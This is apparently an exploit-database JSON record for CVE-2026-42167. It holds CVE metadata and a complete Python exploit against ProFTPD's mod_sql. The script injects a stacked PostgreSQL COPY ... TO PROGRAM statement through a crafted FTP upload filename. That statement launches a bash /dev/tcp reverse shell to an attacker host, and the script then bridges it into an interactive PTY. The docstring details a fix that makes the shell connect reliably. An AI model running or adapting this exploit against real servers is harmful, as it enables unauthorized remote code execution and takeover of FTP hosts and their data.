{"exploit":{"id":"EDB-52658","name":"ProFTPD mod_sql - Authenticated SQL Injection (SQLi) / Remote Code Execution (RCE)","description":"ProFTPD mod_sql - Authenticated SQL Injection (SQLi) / Remote Code Execution (RCE)","cves":["CVE-2026-42167"],"author":"youcef-!","published":"2026-08-25","platform":"multiple","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52658","path":"exploits/multiple/remote/52658.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52658.py","vulnerabilities":[{"id":"CVE-2026-42167","state":"PUBLISHED","title":null,"titleSource":null,"description":"mod_sql in ProFTPD before 1.3.9a allows remote attackers to execute arbitrary code via a username, in scenarios where there is logging of USER requests with an expansion such as %U, and the SQL backend allows commands (e.g., COPY TO PROGRAM).","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-42167","cvss":{"version":"3.1","baseScore":8.1,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"mitre","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-42167"},"updatedAt":"2026-05-01T18:22:51.500Z","retrievedAt":"2026-11-25T16:13:47.121Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52658.png?v=2","url":"https://exploitbin.com/exploits/EDB-52658","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52658/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52658/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n\"\"\"\nCVE-2026-42167 — ProFTPD mod_sql post-authentication SQL injection -> RCE\n\n    postauth_stor_rce.py --host <ftp-host> --port 21 \\\n        --user <user> --password <pass> \\\n        --shell-host <your-ip> --shell-port 4444\n\nSUMMARY\n-------\nProFTPD's mod_sql logs FTP activity through user-supplied SQL. Its escaping\nhelper is_escaped_text() treats any value that BEGINS and ENDS with a single\nquote and contains no interior single quote as \"already escaped\", and passes\nit into the query verbatim. A STOR filename shaped that way therefore breaks\nout of the logging INSERT and stacks a second statement. With a PostgreSQL\nbackend whose role is a superuser, that statement is COPY ... TO PROGRAM,\nwhich runs an arbitrary OS command.\n\n    INSERT INTO xfer_log VALUES('<basename>', '<user>', now())\n\n    basename = ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$<cmd>$$; --'\n\n    -> INSERT INTO xfer_log VALUES('', null, null);   -- 3 cols, closed\n              COPY (SELECT $$x$$) TO PROGRAM $$<cmd>$$;   -- stacked\n              --', '<user>', now())                       -- commented out\n\nNOTE: the payload below closes a THREE-column logging INSERT ('', null, null).\nThe exact column count depends on the target's SQLLog / SQLNamedQuery INSERT\ntemplate — adjust the number of leading `, null` values so the opening\nVALUES(...) is balanced before the stacked COPY.\n\nTwo constraints on the filename shape both queries around:\n  * NO interior single quote  -> the injected SQL is dollar-quoted ($$...$$),\n                                 never single-quoted.\n  * NO forward slash '/'      -> FTP forbids it in a filename. The reverse\n                                 shell needs /dev/tcp/<host>/<port>, so the\n                                 slashes are produced at runtime by printf's\n                                 octal escape \\57 ('/').\n\nA COMMON BUG IN CIRCULATING PoCs (fixed here)\n---------------------------------------------\nMost published PoCs build the path as one printf format string:\n\n    printf \"\\57dev\\57tcp\\57<host>\\57<port>\"          # BROKEN\n\nprintf greedily consumes up to THREE octal digits after a backslash. \"\\57\" is\nonly two, so if the very next character is itself an octal digit (0-7) it is\nswallowed into the escape:\n\n    \\57 + '1'  ->  \\571  ->  octal 571 = 0x179 -> 0x79 mod 256 = 'y'\n\nSo a host or port whose first character is 0-7 is silently corrupted — e.g. a\nhost of 10.10.14.7 becomes /dev/tcpy0.10.14.7 (the leading '1' is eaten). That\ncovers essentially every private-range attacker IP and most common listener\nports, which is why the bug is easy to miss (default values often fall in the\nsafe class) and painful to hit — the only symptom is a reverse shell that\nnever connects.\n\nFIX (this script): keep the four literal slashes in the format string, where\neach \"\\57\" is followed by a non-octal character, and pass the attacker-\ncontrolled host/port as printf ARGUMENTS instead of interpolating them into\nthe format string:\n\n    printf \"\\57dev\\57tcp\\57%s\\57%s\" \"<host>\" \"<port>\"    # CORRECT\n\nNow no user-controlled digit is ever adjacent to a \"\\57\", so the corruption is\nstructurally impossible for any host/port and on any conforming printf.\n\nCVE:      CVE-2026-42167\nSEVERITY: Critical (post-auth RCE)\n\"\"\"\n\nimport argparse\nimport ftplib\nimport io\nimport os\nimport select\nimport signal\nimport socket\nimport sys\nimport termios\nimport threading\nimport time\nimport tty\n\n\ndef build_payload_filename(shell_host: str, shell_port: int) -> str:\n    \"\"\"Return the STOR filename that stacks a reverse-shell COPY TO PROGRAM.\n\n    The reverse-shell command carries the target host/port as printf arguments\n    (the fix), so no octal-escape corruption is possible.\n    \"\"\"\n    # /dev/tcp/<host>/<port> is assembled at runtime; the format string holds\n    # only the slashes, the data is passed as %s arguments.\n    shell_cmd = (\n        f'S=$(printf \"\\\\57dev\\\\57tcp\\\\57%s\\\\57%s\" \"{shell_host}\" \"{shell_port}\");'\n        f'bash -c \"bash -i >& $S 0>&1\"'\n    )\n    payload = (\n        \"', null, null); \"\n        f\"COPY (SELECT $$x$$) TO PROGRAM $${shell_cmd}$$\"\n        \"; --'\"\n    )\n\n    # is_escaped_text() bypass + FTP filename rules — assert, don't hope.\n    assert payload[0] == \"'\" and payload[-1] == \"'\", \"must be single-quote wrapped\"\n    assert \"'\" not in payload[1:-1], \"no interior single quote allowed\"\n    assert \"/\" not in payload, \"no slash allowed in an FTP filename\"\n    return payload\n\n\ndef interactive_shell(sock: socket.socket) -> None:\n    \"\"\"Upgrade the raw connect-back to a PTY and bridge the local terminal.\n\n    The connect-back is a plain `bash -i` with stdio wired to the socket: no\n    controlling terminal, so no job control and no `su`/`sudo` password prompt.\n    Replacing it with util-linux `script` forks bash inside a real PTY pair and\n    bridges that PTY to the inherited socket; the local terminal goes raw and\n    forwards keystrokes byte-for-byte.\n    \"\"\"\n    rows, cols = 24, 80\n    try:\n        size = os.get_terminal_size()\n        rows, cols = size.lines, size.columns\n    except OSError:\n        pass\n\n    sock.sendall(\n        b\"export TERM=xterm-256color; exec script -qc bash /dev/null\\n\"\n    )\n    time.sleep(0.4)\n    sock.sendall(f\"stty rows {rows} cols {cols}; clear\\n\".encode())\n\n    def on_winch(_sig, _frame):\n        try:\n            sz = os.get_terminal_size()\n            sock.sendall(f\"stty rows {sz.lines} cols {sz.columns}\\n\".encode())\n        except (OSError, ValueError):\n            pass\n\n    old_winch = signal.signal(signal.SIGWINCH, on_winch)\n    old_tty = termios.tcgetattr(sys.stdin)\n    try:\n        tty.setraw(sys.stdin.fileno())\n        while True:\n            r, _, _ = select.select([sock, sys.stdin], [], [])\n            if sock in r:\n                data = sock.recv(4096)\n                if not data:\n                    break\n                os.write(sys.stdout.fileno(), data)\n            if sys.stdin in r:\n                data = os.read(sys.stdin.fileno(), 4096)\n                if not data:\n                    break\n                sock.sendall(data)\n    finally:\n        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_tty)\n        signal.signal(signal.SIGWINCH, old_winch)\n\n\ndef main() -> int:\n    p = argparse.ArgumentParser(\n        description=\"CVE-2026-42167 ProFTPD mod_sql post-auth SQLi -> RCE\"\n    )\n    p.add_argument(\"--host\", required=True, help=\"FTP server host\")\n    p.add_argument(\"--port\", type=int, default=21, help=\"FTP port (default 21)\")\n    p.add_argument(\"--user\", required=True, help=\"FTP username\")\n    p.add_argument(\"--password\", required=True, help=\"FTP password\")\n    p.add_argument(\n        \"--shell-host\", required=True,\n        help=\"Address the target connects back to (your listener)\",\n    )\n    p.add_argument(\n        \"--shell-port\", type=int, default=4444,\n        help=\"Listener port (default 4444)\",\n    )\n    p.add_argument(\n        \"--timeout\", type=int, default=30,\n        help=\"Seconds to wait for the connect-back (default 30)\",\n    )\n    args = p.parse_args()\n\n    print(\"=\" * 70)\n    print(\"CVE-2026-42167 : ProFTPD mod_sql post-auth SQLi -> RCE\")\n    print(\"=\" * 70)\n\n    # --- reachability + banner -------------------------------------------\n    print(f\"\\n[*] Connecting to {args.host}:{args.port} ...\")\n    try:\n        with socket.create_connection((args.host, args.port), timeout=8) as s:\n            banner = s.recv(256).decode(errors=\"replace\").strip()\n    except OSError as e:\n        print(f\"[-] Connection failed: {e}\")\n        return 1\n    if \"220\" not in banner:\n        print(f\"[-] Unexpected banner: {banner!r}\")\n        return 1\n    print(f\"[*] Banner: {banner}\")\n\n    payload_filename = build_payload_filename(args.shell_host, args.shell_port)\n    print(f\"[*] Reverse shell : {args.shell_host}:{args.shell_port}\")\n    print(f\"[*] Payload STOR  : {len(payload_filename)} bytes (no '/', no interior quote)\")\n\n    # --- listener ---------------------------------------------------------\n\n    try:\n        srv = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)\n        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        srv.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)\n        srv.bind((\"::\", args.shell_port))\n    except OSError:\n        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        srv.bind((\"0.0.0.0\", args.shell_port))\n    srv.listen(1)\n    srv.settimeout(args.timeout)\n    print(f\"[+] Listening on 0.0.0.0:{args.shell_port}\")\n\n    # --- fire the injection ----------------------------------------------\n    # STOR must SUCCEED for `SQLLog STOR` to fire, so the upload needs a working\n    # passive data channel. The command runs during the STOR, so send it from a\n    # background thread and wait for the connect-back on the main thread.\n    def fire():\n        time.sleep(0.5)\n        try:\n            ftp = ftplib.FTP()\n            ftp.connect(args.host, args.port, timeout=15)\n            ftp.login(args.user, args.password)\n            ftp.storbinary(f\"STOR {payload_filename}\", io.BytesIO(b\"x\"))\n        except Exception:\n            # COPY TO PROGRAM blocks the STOR for the life of the shell, so the\n            # control connection often errors out here — that is expected and\n            # not a failure of the exploit.\n            pass\n\n    threading.Thread(target=fire, daemon=True).start()\n    print(\"[*] Injection sent, waiting for reverse shell ...\")\n\n    try:\n        conn, addr = srv.accept()\n    except socket.timeout:\n        print(f\"\\n[-] No connection after {args.timeout}s.\")\n        print(\"    Check: creds valid? target can reach \"\n              f\"{args.shell_host}:{args.shell_port} outbound? \"\n              \"listener port open locally?\")\n        srv.close()\n        return 1\n    srv.close()\n\n    print(f\"[+] Connection from {addr[0]}:{addr[1]}\")\n    print(\"=\" * 70)\n    print(\"[+] REMOTE CODE EXECUTION CONFIRMED — interactive shell follows\")\n    print(\"=\" * 70 + \"\\n\")\n    try:\n        interactive_shell(conn)\n    except KeyboardInterrupt:\n        pass\n    finally:\n        conn.close()\n        print(\"\\n[*] Shell closed.\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())","sha256":"a47c9011c6b62d145abdacc8697297cc0e658782fba91c68ff81e28fbc4eabc8","bytes":10242,"fetchedAt":"2026-11-25T10:17:07.495Z","encoding":"utf-8 (display only; download retains original bytes)"}